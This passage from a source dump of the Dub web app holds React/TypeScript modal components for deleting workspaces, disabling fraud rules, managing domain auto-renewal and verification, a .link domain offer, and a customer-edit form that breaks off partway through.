    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BlurImage, Button, Logo, Modal, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nfunction DeleteWorkspaceModal({\n  showDeleteWorkspaceModal,\n  setShowDeleteWorkspaceModal,\n}: {\n  showDeleteWorkspaceModal: boolean;\n  setShowDeleteWorkspaceModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { update } = useSession();\n  const router = useRouter();\n  const { slug } = useParams() as { slug: string };\n  const { id, isOwner, name, logo } = useWorkspace();\n\n  const [deleting, setDeleting] = useState(false);\n  const [workspaceSlugVerification, setWorkspaceSlugVerification] =\n    useState(\"\");\n  const [verification, setVerification] = useState(\"\");\n\n  const confirmationText = \"confirm delete workspace\";\n  const isVerified = verification === confirmationText;\n  const isSlugVerified = workspaceSlugVerification === slug;\n\n  async function deleteWorkspace() {\n    return new Promise((resolve, reject) => {\n      setDeleting(true);\n      fetch(`/api/workspaces/${id}`, {\n        method: \"DELETE\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      }).then(async (res) => {\n        if (res.ok) {\n          await Promise.all([mutate(\"/api/workspaces\"), update()]);\n          router.push(\"/\");\n          resolve(null);\n        } else {\n          setDeleting(false);\n          const { error } = await res.json();\n          reject(error.message);\n        }\n      });\n    });\n  }\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <Modal\n      showModal={showDeleteWorkspaceModal}\n      setShowModal={setShowDeleteWorkspaceModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Delete Workspace</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Warning: This will permanently delete your workspace, custom domains,\n          and all associated links and their respective analytics.\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          toast.promise(deleteWorkspace(), {\n            loading: \"Deleting workspace...\",\n            success: \"Workspace deleted successfully!\",\n            error: (err) => err,\n          });\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"relative flex items-center gap-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n          {logo ? (\n            <BlurImage\n              src={logo}\n              alt=\"Workspace logo\"\n              className=\"size-7 rounded-full\"\n              width={20}\n              height={20}\n            />\n          ) : (\n            <Logo className=\"size-7 text-neutral-500\" />\n          )}\n\n          <div className=\"flex flex-1 flex-col gap-0.5\">\n            <h3 className=\"line-clamp-1 text-sm font-medium text-neutral-600\">\n              {name || slug}\n            </h3>\n            <p className=\"text-xs font-medium text-neutral-500\">\n              app.dub.co/{slug}\n            </p>\n          </div>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"workspace-slug\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            Enter the workspace slug{\" \"}\n            <span className=\"font-semibold\">{slug}</span> to continue:\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"workspace-slug\"\n              id=\"workspace-slug\"\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              pattern={slug}\n              required\n              disabled={!isOwner}\n              value={workspaceSlugVerification}\n              onChange={(e) => setWorkspaceSlugVerification(e.target.value)}\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-100\": !isOwner,\n                },\n              )}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoComplete=\"off\"\n              disabled={!isOwner}\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-100\": !isOwner,\n                },\n              )}\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Delete\"\n          variant=\"danger\"\n          loading={deleting}\n          disabled={!isVerified || !isSlugVerified || !isOwner}\n          {...(!isOwner && {\n            disabledTooltip: \"Only workspace owners can delete a workspace.\",\n          })}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useDeleteWorkspaceModal() {\n  const [showDeleteWorkspaceModal, setShowDeleteWorkspaceModal] =\n    useState(false);\n\n  const DeleteWorkspaceModalCallback = useCallback(() => {\n    return (\n      <DeleteWorkspaceModal\n        showDeleteWorkspaceModal={showDeleteWorkspaceModal}\n        setShowDeleteWorkspaceModal={setShowDeleteWorkspaceModal}\n      />\n    );\n  }, [showDeleteWorkspaceModal]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteWorkspaceModal,\n      DeleteWorkspaceModal: DeleteWorkspaceModalCallback,\n    }),\n    [DeleteWorkspaceModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/disable-fraud-rules-modal.tsx",
    "content": "\"use client\";\n\nimport {\n  CONFIGURABLE_RULE_TYPES,\n  FRAUD_RULES_BY_TYPE,\n} from \"@/lib/api/fraud/constants\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FraudRuleProps, UpdateFraudRuleSettings } from \"@/lib/types\";\nimport { Badge, Button, Modal } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\n\nexport type ConfigurableRuleType = keyof UpdateFraudRuleSettings;\n\ninterface DisableFraudRulesModalProps {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\nfunction DisableFraudRulesModal({\n  showModal,\n  setShowModal,\n  setIsOpen,\n}: DisableFraudRulesModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const { isSubmitting, makeRequest } = useApiMutation();\n\n  const { data: fraudRules, isLoading } = useSWR<FraudRuleProps[]>(\n    workspaceId ? `/api/fraud/rules?workspaceId=${workspaceId}` : null,\n    fetcher,\n  );\n\n  const { watch, setValue, getValues } =\n    useFormContext<UpdateFraudRuleSettings>();\n\n  const formValues = watch();\n\n  const rulesBeingDisabled = getRulesBeingDisabled({\n    previousFraudRules: fraudRules,\n    nextFraudRules: formValues,\n  });\n\n  const handleConfirm = async () => {\n    // Form values are already updated via setValue in checkbox onChange\n    const body = getValues();\n\n    await makeRequest(\"/api/fraud/rules\", {\n      method: \"PATCH\",\n      body,\n      onSuccess: () => {\n        toast.success(\"Fraud settings updated successfully.\");\n        setIsOpen(false);\n        mutatePrefix(\"/api/fraud/rules\");\n      },\n    });\n\n    setShowModal(false);\n  };\n\n  const handleCancel = () => {\n    // Reset resolvePendingEvents to false for rules being disabled\n    rulesBeingDisabled.forEach((ruleType) => {\n      const rule = formValues[ruleType];\n\n      if (rule) {\n        setValue(ruleType, {\n          ...rule,\n          resolvePendingEvents: false,\n        });\n      }\n    });\n\n    setShowModal(false);\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"p-5 text-left\">\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Confirm disabling rules\n        </h3>\n        <div className=\"text-content-subtle mt-1 text-sm\">\n          Are you sure you want to disable these rules?\n        </div>\n      </div>\n\n      <div className=\"px-5 pb-5\">\n        <div className=\"space-y-4\">\n          {rulesBeingDisabled.map((ruleType) => {\n            const ruleInfo = FRAUD_RULES_BY_TYPE[ruleType];\n\n            return (\n              <div\n                key={ruleType}\n                className=\"divide-y divide-neutral-200 rounded-xl border border-neutral-200\"\n              >\n                <div className=\"p-3\">\n                  <h4 className=\"text-sm font-semibold text-neutral-900\">\n                    {ruleInfo.name}\n                  </h4>\n                  <p className=\"text-content-subtle mt-0.5 text-xs font-normal tracking-normal\">\n                    {ruleInfo.description}\n                  </p>\n                </div>\n                <div className=\"flex items-center gap-2 p-3\">\n                  <input\n                    type=\"checkbox\"\n                    id={ruleType}\n                    className=\"h-4 w-4 rounded border-neutral-300 text-black focus:ring-black\"\n                    checked={\n                      formValues[ruleType]?.resolvePendingEvents ?? false\n                    }\n                    disabled={isLoading}\n                    onChange={(e) => {\n                      const rule = formValues[ruleType];\n\n                      if (rule) {\n                        setValue(ruleType, {\n                          ...rule,\n                          resolvePendingEvents: e.target.checked,\n                        });\n                      }\n                    }}\n                  />\n                  <label\n                    htmlFor={ruleType}\n                    className=\"flex items-center gap-1 text-sm text-neutral-900\"\n                  >\n                    <span>Mark all pending events for this rule as</span>\n                    <Badge\n                      variant=\"gray\"\n                      className=\"rounded-md border-none text-xs font-semibold text-neutral-700\"\n                    >\n                      Resolved\n                    </Badge>\n                  </label>\n                </div>\n              </div>\n            );\n          })}\n        </div>\n      </div>\n\n      <div className=\"border-border-subtle flex items-center justify-end gap-2 border-t px-5 py-4\">\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Cancel\"\n          onClick={handleCancel}\n          disabled={isLoading || isSubmitting}\n        />\n        <Button\n          variant=\"primary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Disable\"\n          onClick={handleConfirm}\n          disabled={isLoading || isSubmitting}\n          loading={isSubmitting}\n        />\n      </div>\n    </Modal>\n  );\n}\n\n// Detects which fraud rules are being disabled by comparing previous (API) state\n// with next (form) state.\nexport function getRulesBeingDisabled({\n  previousFraudRules,\n  nextFraudRules,\n}: {\n  previousFraudRules: FraudRuleProps[] | undefined;\n  nextFraudRules: UpdateFraudRuleSettings;\n}): ConfigurableRuleType[] {\n  return CONFIGURABLE_RULE_TYPES.filter(\n    (type): type is ConfigurableRuleType => {\n      const wasEnabled =\n        previousFraudRules?.find((r) => r.type === type)?.enabled ?? false;\n      const isEnabled =\n        nextFraudRules[type as ConfigurableRuleType]?.enabled ?? false;\n\n      return wasEnabled && !isEnabled;\n    },\n  );\n}\n\nexport function useDisableFraudRulesModal({\n  setIsOpen,\n}: {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [showDisableModal, setShowDisableModal] = useState(false);\n\n  const close = () => {\n    setShowDisableModal(false);\n  };\n\n  return {\n    setShowDisableModal,\n    DisableFraudRulesModal: (\n      <DisableFraudRulesModal\n        showModal={showDisableModal}\n        setShowModal={close}\n        setIsOpen={setIsOpen}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/domain-auto-renewal-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainProps } from \"@/lib/types\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { Globe } from \"@dub/ui/icons\";\nimport { currencyFormatter, formatDate } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction DomainAutoRenewalModal({\n  showDomainAutoRenewalModal,\n  setShowDomainAutoRenewalModal,\n  domain,\n  enableAutoRenewal,\n}: {\n  showDomainAutoRenewalModal: boolean;\n  setShowDomainAutoRenewalModal: Dispatch<SetStateAction<boolean>>;\n  domain: DomainProps;\n  enableAutoRenewal: boolean;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const [isSubmitting, setIsSubmitting] = useState(false);\n\n  const updateAutoRenewal = useCallback(async () => {\n    if (!workspaceId || !domain.slug) {\n      return;\n    }\n\n    setIsSubmitting(true);\n\n    const response = await fetch(\n      `/api/domains/${domain.slug}?workspaceId=${workspaceId}`,\n      {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({\n          autoRenew: enableAutoRenewal,\n        }),\n      },\n    );\n\n    if (response.ok) {\n      await mutatePrefix(\"/api/domains\");\n      toast.success(\"Auto-renewal status updated!\");\n    } else {\n      toast.error(\"Failed to update auto-renewal status\");\n    }\n\n    setIsSubmitting(false);\n    setShowDomainAutoRenewalModal(false);\n  }, [\n    workspaceId,\n    domain.slug,\n    enableAutoRenewal,\n    setShowDomainAutoRenewalModal,\n  ]);\n\n  if (!domain.registeredDomain) {\n    return null;\n  }\n\n  const expiresAt = domain.registeredDomain.expiresAt;\n  const renewalFee = domain.registeredDomain.renewalFee;\n\n  return (\n    <Modal\n      showModal={showDomainAutoRenewalModal}\n      setShowModal={setShowDomainAutoRenewalModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {enableAutoRenewal ? \"Enable\" : \"Disable\"} auto-renewal\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          {enableAutoRenewal ? (\n            <>\n              Your domain is currently set to expire on{\" \"}\n              <strong>{formatDate(expiresAt)}</strong>. By enabling\n              auto-renewal, Dub will automatically renew your domain for{\" \"}\n              <strong>{currencyFormatter(renewalFee)}</strong>.\n            </>\n          ) : (\n            <>\n              Dub will automatically renew your domain for{\" \"}\n              <strong>{currencyFormatter(renewalFee)}</strong>. By disabling\n              auto-renewal, your domain <strong>{domain.slug}</strong> will\n              expire on <strong>{formatDate(expiresAt)}</strong>.\n              <br />\n              <br />\n              Once your domain expires, there is no guarantee that you'll be\n              able to get it back. Please proceed with caution.\n            </>\n          )}\n        </p>\n\n        <div className=\"scrollbar-hide mt-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto\">\n          <div className=\"flex items-center gap-4 rounded-xl border border-neutral-200 bg-white p-3\">\n            <div className=\"hidden rounded-full border border-neutral-200 sm:block\">\n              <div className=\"rounded-full border border-white bg-gradient-to-t from-neutral-100 p-1 md:p-2\">\n                <Globe className=\"size-5\" />\n              </div>\n            </div>\n            <span className=\"truncate text-sm font-medium\">{domain.slug}</span>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowDomainAutoRenewalModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={updateAutoRenewal}\n          autoFocus\n          loading={isSubmitting}\n          text={`${enableAutoRenewal ? \"Enable\" : \"Disable\"} auto-renewal`}\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useDomainAutoRenewalModal({ domain }: { domain: DomainProps }) {\n  const [showDomainAutoRenewalModal, setShowDomainAutoRenewalModal] =\n    useState(false);\n  const [enableAutoRenewal, setEnableAutoRenewal] = useState(false);\n\n  const DomainAutoRenewalModalCallback = useCallback(() => {\n    return (\n      <DomainAutoRenewalModal\n        showDomainAutoRenewalModal={showDomainAutoRenewalModal}\n        setShowDomainAutoRenewalModal={setShowDomainAutoRenewalModal}\n        domain={domain}\n        enableAutoRenewal={enableAutoRenewal}\n      />\n    );\n  }, [\n    showDomainAutoRenewalModal,\n    setShowDomainAutoRenewalModal,\n    domain,\n    enableAutoRenewal,\n  ]);\n\n  const openDomainRenewalModal = useCallback((enable: boolean) => {\n    setEnableAutoRenewal(enable);\n    setShowDomainAutoRenewalModal(true);\n  }, []);\n\n  return useMemo(\n    () => ({\n      openDomainRenewalModal,\n      DomainAutoRenewalModal: DomainAutoRenewalModalCallback,\n    }),\n    [openDomainRenewalModal, DomainAutoRenewalModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/domain-verification-modal.tsx",
    "content": "import { verifyPartnerWebsiteAction } from \"@/lib/actions/partners/verify-partner-website\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { Button, CopyButton, Modal } from \"@dub/ui\";\nimport { X } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\ninterface DomainVerificationModalProps {\n  showDomainVerificationModal: boolean;\n  setShowDomainVerificationModal: Dispatch<SetStateAction<boolean>>;\n  domain: string;\n  txtRecord: string;\n}\n\nexport function DomainVerificationModal(props: DomainVerificationModalProps) {\n  return (\n    <Modal\n      showModal={props.showDomainVerificationModal}\n      setShowModal={props.setShowDomainVerificationModal}\n    >\n      <DomainVerificationModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction DomainVerificationModalInner({\n  setShowDomainVerificationModal,\n  domain,\n  txtRecord,\n}: DomainVerificationModalProps) {\n  const { mutate: mutatePartner } = usePartnerProfile();\n\n  const { executeAsync, status } = useAction(verifyPartnerWebsiteAction, {\n    onSuccess: async () => {\n      toast.success(\"Your domain verified successfully!\");\n      setShowDomainVerificationModal(false);\n      await mutatePartner();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError || \"Failed to verify domain.\");\n    },\n  });\n\n  return (\n    <>\n      <div className=\"flex items-center justify-between border-b border-neutral-200 p-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Verify your domain</h3>\n        <button\n          type=\"button\"\n          onClick={() => setShowDomainVerificationModal(false)}\n          className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n        >\n          <X className=\"h-5 w-5\" />\n        </button>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          To verify your domain {domain}, set the following TXT record on your\n          DNS provider:\n        </p>\n\n        <div className=\"mt-4 flex flex-col gap-2 rounded-lg border border-neutral-200 p-4 text-sm text-neutral-600\">\n          <div className=\"flex justify-between gap-12\">\n            <div className=\"font-medium text-neutral-800\">Type</div>\n            <div className=\"font-mono\">TXT</div>\n          </div>\n          <div className=\"flex justify-between gap-12\">\n            <div className=\"font-medium text-neutral-800\">Name</div>\n            <div className=\"font-mono\">@</div>\n          </div>\n          <div className=\"flex justify-between gap-12\">\n            <div className=\"font-medium text-neutral-800\">Value</div>\n            <div className=\"flex min-w-0 items-center gap-2\" title={txtRecord}>\n              <span className=\"min-w-0 truncate font-mono\">{txtRecord}</span>\n              <CopyButton value={txtRecord} className=\"-m-1.5\" />\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n        <Button\n          text=\"Verify\"\n          className=\"h-8 w-fit px-3\"\n          loading={status === \"executing\" || status === \"hasSucceeded\"}\n          onClick={async () => await executeAsync()}\n        />\n      </div>\n    </>\n  );\n}\n\nexport function useDomainVerificationModal({\n  domain,\n  txtRecord,\n}: {\n  domain: string;\n  txtRecord: string;\n}) {\n  const [showDomainVerificationModal, setShowDomainVerificationModal] =\n    useState(false);\n\n  const DomainVerificationModalCallback = useCallback(() => {\n    return (\n      <DomainVerificationModal\n        showDomainVerificationModal={showDomainVerificationModal}\n        setShowDomainVerificationModal={setShowDomainVerificationModal}\n        domain={domain}\n        txtRecord={txtRecord}\n      />\n    );\n  }, [\n    showDomainVerificationModal,\n    setShowDomainVerificationModal,\n    domain,\n    txtRecord,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowDomainVerificationModal,\n      DomainVerificationModal: DomainVerificationModalCallback,\n    }),\n    [setShowDomainVerificationModal, DomainVerificationModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/dot-link-offer-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport {\n  ArrowTurnRight2,\n  Button,\n  CursorRays,\n  Globe,\n  Grid,\n  InvoiceDollar,\n  Modal,\n  UserCheck,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { RegisterDomainForm } from \"../domains/register-domain-form\";\n\nfunction DotLinkOfferModal({\n  showDotLinkOfferModal,\n  setShowDotLinkOfferModal,\n}: {\n  showDotLinkOfferModal: boolean;\n  setShowDotLinkOfferModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [_, setDotLinkOfferDismissed, { mutateWorkspace }] =\n    useWorkspaceStore<string>(\"dotLinkOfferDismissed\");\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  const onClose = async () => {\n    setShowDotLinkOfferModal(false);\n    await setDotLinkOfferDismissed(new Date().toISOString());\n    mutateWorkspace();\n  };\n\n  return (\n    <Modal\n      showModal={showDotLinkOfferModal}\n      setShowModal={setShowDotLinkOfferModal}\n      onClose={onClose}\n    >\n      <div className=\"flex flex-col\">\n        <Hero />\n        <div className=\"px-6 py-8 sm:px-8\">\n          <div className=\"relative\">\n            <div\n              ref={scrollRef}\n              onScroll={updateScrollProgress}\n              className=\"scrollbar-hide max-h-[calc(100vh-350px)] overflow-y-auto pb-6 text-left\"\n            >\n              <h1 className=\"text-lg font-semibold text-neutral-900\">\n                Get more from your short links\n              </h1>\n              <p className=\"mt-2 text-sm text-neutral-600\">\n                Increase the click-through rates for your short links by\n                claiming a{\" \"}\n                <a\n                  href=\"https://dub.link/claim\"\n                  target=\"_blank\"\n                  className=\"cursor-help font-semibold text-neutral-800 underline decoration-dotted underline-offset-2\"\n                >\n                  1-year free .link domain\n                </a>{\" \"}\n                on Dub.\n              </p>\n              <div className=\"mt-6 rounded-xl border border-neutral-100 bg-neutral-50 p-4\">\n                <RegisterDomainForm\n                  showTerms={false}\n                  onSuccess={() => {\n                    setShowDotLinkOfferModal(false);\n                  }}\n                  onCancel={() => setShowDotLinkOfferModal(false)}\n                />\n              </div>\n            </div>\n            {/* Bottom scroll fade */}\n            <div\n              className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n              style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n            ></div>\n          </div>\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"No thanks, maybe later\"\n            onClick={() => {\n              onClose();\n              setShowDotLinkOfferModal(false);\n            }}\n          />\n          <p className=\"mt-6 text-pretty text-center text-xs text-neutral-500\">\n            By claiming your .link domain, you agree to our{\" \"}\n            <a\n              href=\"https://dub.co/help/article/free-dot-link-domain#terms-and-conditions\"\n              target=\"_blank\"\n              className=\"underline transition-colors hover:text-neutral-700\"\n            >\n              terms\n            </a>\n            .<br />\n            After the first year, your renewal is $12/year.\n          </p>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useDotLinkOfferModal() {\n  const [showDotLinkOfferModal, setShowDotLinkOfferModal] = useState(false);\n\n  const DotLinkOfferModalCallback = useCallback(() => {\n    return (\n      <DotLinkOfferModal\n        showDotLinkOfferModal={showDotLinkOfferModal}\n        setShowDotLinkOfferModal={setShowDotLinkOfferModal}\n      />\n    );\n  }, [showDotLinkOfferModal, setShowDotLinkOfferModal]);\n\n  return useMemo(\n    () => ({\n      setShowDotLinkOfferModal,\n      DotLinkOfferModal: DotLinkOfferModalCallback,\n    }),\n    [setShowDotLinkOfferModal, DotLinkOfferModalCallback],\n  );\n}\n\nexport function Hero() {\n  const { slug } = useWorkspace();\n\n  return (\n    <div className=\"relative h-[140px] w-full overflow-hidden bg-white\">\n      <BackgroundGradient className=\"opacity-5\" />\n      <Grid\n        className=\"text-neutral-300\"\n        cellSize={20}\n        patternOffset={[-15, -9]}\n      />\n      <BackgroundGradient className=\"opacity-80 mix-blend-overlay\" />\n      <div className=\"absolute inset-0 overflow-hidden\">\n        <div className=\"absolute left-6 top-1/2 flex h-[81px] w-full -translate-y-1/2 items-center gap-12 rounded-xl border border-neutral-200 bg-white p-4\">\n          <div className=\"flex min-w-0 items-center gap-4\">\n            <div className=\"hidden rounded-full border border-neutral-200 sm:block\">\n              <div className=\"rounded-full border border-white bg-gradient-to-t from-neutral-100 p-1 md:p-2\">\n                <Globe className=\"size-5\" />\n              </div>\n            </div>\n            <div className=\"overflow-hidden\">\n              <div className=\"flex items-center gap-1.5 sm:gap-2.5\">\n                <span className=\"truncate text-sm font-medium\">\n                  {slugify(slug || \"acme\")}.link\n                </span>\n              </div>\n              <div className=\"mt-1 flex items-center gap-1 text-xs\">\n                <ArrowTurnRight2 className=\"h-3 w-3 text-neutral-400\" />\n                <span className=\"truncate text-neutral-400\">\n                  yourwebsite.com\n                </span>\n              </div>\n            </div>\n          </div>\n\n          <div className=\"flex grow items-center gap-2 rounded-lg border border-neutral-200 p-1 text-xs text-neutral-900\">\n            {[\n              {\n                id: \"clicks\",\n                icon: CursorRays,\n                value: 830,\n                iconClassName: \"text-blue-500\",\n              },\n              {\n                id: \"leads\",\n                icon: UserCheck,\n                value: 415,\n                className: \"hidden sm:flex\",\n                iconClassName: \"text-purple-500\",\n              },\n              {\n                id: \"sales\",\n                icon: InvoiceDollar,\n                value: 200,\n                className: \"hidden sm:flex\",\n                iconClassName: \"text-teal-500\",\n              },\n            ].map(({ id, icon: Icon, value, iconClassName }) => (\n              <div\n                key={id}\n                className=\"flex items-center gap-1.5 whitespace-nowrap rounded-md px-1 py-px\"\n              >\n                <Icon\n                  data-active={value > 0}\n                  className={cn(\"size-4 shrink-0\", iconClassName)}\n                />\n                <span>{value}</span>\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction BackgroundGradient({ className }: { className?: string }) {\n  return (\n    <div className={cn(\"absolute inset-0 w-full overflow-hidden\", className)}>\n      <div\n        className=\"absolute inset-0 saturate-150\"\n        style={{\n          backgroundImage: `conic-gradient(from -66deg, #855AFC -32deg, #FF0000 63deg, #EAB308 158deg, #5CFF80 240deg, #855AFC 328deg, #FF0000 423deg)`,\n        }}\n      />\n      <div className=\"absolute inset-0 backdrop-blur-[20px]\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/edit-customer-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { CustomerEnriched, CustomerProps } from \"@/lib/types\";\nimport { updateCustomerBodySchema } from \"@/lib/zod/schemas/customers\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useEffect, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.infer<typeof updateCustomerBodySchema>;\n\ntype EditCustomerModalProps = {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  customer: Pick<\n    CustomerEnriched,\n    \"id\" | \"name\" | \"email\" | \"stripeCustomerId\" | \"externalId\"\n  >;\n};\n\nfunction EditCustomerModal({\n  showModal,\n  setShowModal,\n  customer,\n}: EditCustomerModalProps) {\n  const { isMobile } = useMediaQuery();\n  const { makeRequest: updateCustomer, isSubmitting } =\n    useApiMutation<CustomerProps>();\n\n  const {\n    register,\n    handleSubmit,\n    reset,\n    formState: { isDirty },\n  } = useForm<FormData>({\n    defaultValues: {\n      name: customer?.name || null,\n      email: customer?.email || null,\n      stripeCustomerId: customer?.stripeCustomerId || null,\n      externalId: customer?.externalId || \"\",\n    },\n  });\n\n  useEffect(() => {\n    if (showModal) {\n      reset({\n        name: customer?.name || null,\n        email: customer?.email || null,\n        stripeCustomerId: customer?.stripeCustomerId || null,\n        externalId: customer?.externalId || \"\",\n      });\n    }\n  }, [showModal, customer, reset]);\n\n  const onSubmit = async (data: FormData) => {\n    await updateCustomer(`/api/customers/${customer.id}`, {\n      method: \"PATCH\",\n      body: data,\n      onSuccess: async () => {\n        setShowModal(false);\n        await mutatePrefix(\"/api/customers\");\n        toast.success(\"Customer updated successfully!\");\n      },\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Edit customer</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form\n          onSubmit={(e) => {\n            e.stopPropagation();\n            return handleSubmit(onSubmit)(e);\n          }}\n        >\n          <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n            <div>\n              <label className=\"text-content-emphasis text-sm font-normal\">\n                Name\n              </label>\n              <input\n                type=\"text\"\n                autoComplete=\"off\"\n                className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"John Doe\"\n                autoFocus={!isMobile}\n                {...register(\"name\", {\n                  setValueAs: (value) => (value === \"\" ? null : 